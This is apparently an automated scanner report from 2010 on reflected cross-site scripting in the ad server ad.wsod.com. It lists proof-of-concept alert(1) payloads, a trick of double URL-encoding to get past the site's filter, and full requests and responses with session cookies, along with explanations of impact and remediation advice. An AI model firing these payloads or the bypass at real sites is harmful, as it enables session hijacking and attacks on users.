Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fcb7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eedec1c51abb was submitted in the REST URL parameter 2. This input was echoed as 4fcb7"><script>alert(1)</script>edec1c51abb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a6313574fcb7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eedec1c51abb/1371.0.iframe.300x250/0.3619067536933185 HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1932
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <a href="http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a6313574fcb7"><script>alert(1)</script>edec1c51abb/1371.0.iframe.300x250/" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload faaac%2522%253balert%25281%2529%252f%252f88f608953ce was submitted in the REST URL parameter 2. This input was echoed as faaac";alert(1)//88f608953ce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357faaac%2522%253balert%25281%2529%252f%252f88f608953ce/1371.0.iframe.300x250/0.3619067536933185 HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1887
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357faaac";alert(1)//88f608953ce/1371.0.iframe.300x250/1289925789**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a743b%2522%253balert%25281%2529%252f%252fa3081630096 was submitted in the REST URL parameter 3. This input was echoed as a743b";alert(1)//a3081630096 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250a743b%2522%253balert%25281%2529%252f%252fa3081630096/0.3619067536933185 HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1887
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250a743b";alert(1)//a3081630096/1289925790**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac52b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec61f840253c was submitted in the REST URL parameter 3. This input was echoed as ac52b"><script>alert(1)</script>c61f840253c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250ac52b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec61f840253c/0.3619067536933185 HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1932
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <a href="http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250ac52b"><script>alert(1)</script>c61f840253c/" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
The value of the click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 740cb"-alert(1)-"4368b840993 was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:19 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2447
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... c3d/M=757168.14056059.13990158.1679323/D=fin/S=95993639:LREC/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=6WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6209909/R=0/*740cb"-alert(1)-"4368b840993"> ...[SNIP]...
The value of the click request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99d26"><script>alert(1)</script>def9c5dd68c was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:19 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2477
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... c3d/M=757168.14056059.13990158.1679323/D=fin/S=95993639:LREC/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=6WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6209909/R=0/*99d26"><script>alert(1)</script>def9c5dd68chttp://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/?yhdata=ycg=&yyob=&zip=,&ybt=8813&" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
1.7. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/0.3619067536933185 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4872d"><script>alert(1)</script>68c6e0166dd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:20 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2483
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... 3d/M=757168.14056059.13990158.1679323/D=fin/S=95993639:LREC/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=6WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6209909/R=0/*&4872d"><script>alert(1)</script>68c6e0166dd=1http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/?yhdata=ycg=&yyob=&zip=,&ybt=8813&" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
1.8. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/0.3619067536933185 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5ab6"-alert(1)-"579d4b1341c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:20 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2453
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... 3d/M=757168.14056059.13990158.1679323/D=fin/S=95993639:LREC/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=6WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6209909/R=0/*&e5ab6"-alert(1)-"579d4b1341c=1"> ...[SNIP]...
The value of the ybt request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bcd0d</script><script>alert(1)</script>23d01d41829 was submitted in the ybt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:19 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2541
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... pt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/1289925799**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'?yhdata=ycg=&yyob=&zip=,&ybt=8813bcd0d</script><script>alert(1)</script>23d01d41829&&click=http://global.ard.yahoo.com/SIG=15mmj7c3d/M=757168.14056059.13990158.1679323/D=fin/S=95993639:LREC/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=6WUpD0Je5kc-/J=12899256529 ...[SNIP]...
The value of the yhdata request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fb26e</script><script>alert(1)</script>f55ef4bb67c was submitted in the yhdata parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:09 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2541
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/1289925789**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'?yhdata=ycg=fb26e</script><script>alert(1)</script>f55ef4bb67c&yyob=&zip=,&ybt=8813&&click=http://global.ard.yahoo.com/SIG=15mmj7c3d/M=757168.14056059.13990158.1679323/D=fin/S=95993639:LREC/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=6WUpD ...[SNIP]...
The value of the yyob request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c1f61</script><script>alert(1)</script>c50359e0da2 was submitted in the yyob parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:10 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2541
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/1289925790**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'?yhdata=ycg=&yyob=c1f61</script><script>alert(1)</script>c50359e0da2&zip=,&ybt=8813&&click=http://global.ard.yahoo.com/SIG=15mmj7c3d/M=757168.14056059.13990158.1679323/D=fin/S=95993639:LREC/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=6WUpD0Je5kc ...[SNIP]...
The value of the zip request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6abba</script><script>alert(1)</script>0a71e10373b was submitted in the zip parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:15 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2541
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/1289925795**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'?yhdata=ycg=&yyob=&zip=,6abba</script><script>alert(1)</script>0a71e10373b&ybt=8813&&click=http://global.ard.yahoo.com/SIG=15mmj7c3d/M=757168.14056059.13990158.1679323/D=fin/S=95993639:LREC/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=6WUpD0Je5kc-/J=12 ...[SNIP]...
The value of the &click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ed16'-alert(1)-'238d2019d53 was submitted in the &click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54480%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9ec3bdb2ffa was submitted in the REST URL parameter 2. This input was echoed as 54480"><script>alert(1)</script>9ec3bdb2ffa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a63135754480%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9ec3bdb2ffa/1371.0.iframe.300x250/1289925654** HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1932
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <a href="http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a63135754480"><script>alert(1)</script>9ec3bdb2ffa/1371.0.iframe.300x250/" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 569f7%2522%253balert%25281%2529%252f%252f28e09eaa2cf was submitted in the REST URL parameter 2. This input was echoed as 569f7";alert(1)//28e09eaa2cf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357569f7%2522%253balert%25281%2529%252f%252f28e09eaa2cf/1371.0.iframe.300x250/1289925654** HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1887
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357569f7";alert(1)//28e09eaa2cf/1371.0.iframe.300x250/1289925792**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25a6e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1114d613670 was submitted in the REST URL parameter 3. This input was echoed as 25a6e"><script>alert(1)</script>1114d613670 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x25025a6e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1114d613670/1289925654** HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1932
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <a href="http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x25025a6e"><script>alert(1)</script>1114d613670/" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8c45%2522%253balert%25281%2529%252f%252ff2d3df944a2 was submitted in the REST URL parameter 3. This input was echoed as c8c45";alert(1)//f2d3df944a2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250c8c45%2522%253balert%25281%2529%252f%252ff2d3df944a2/1289925654** HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1887
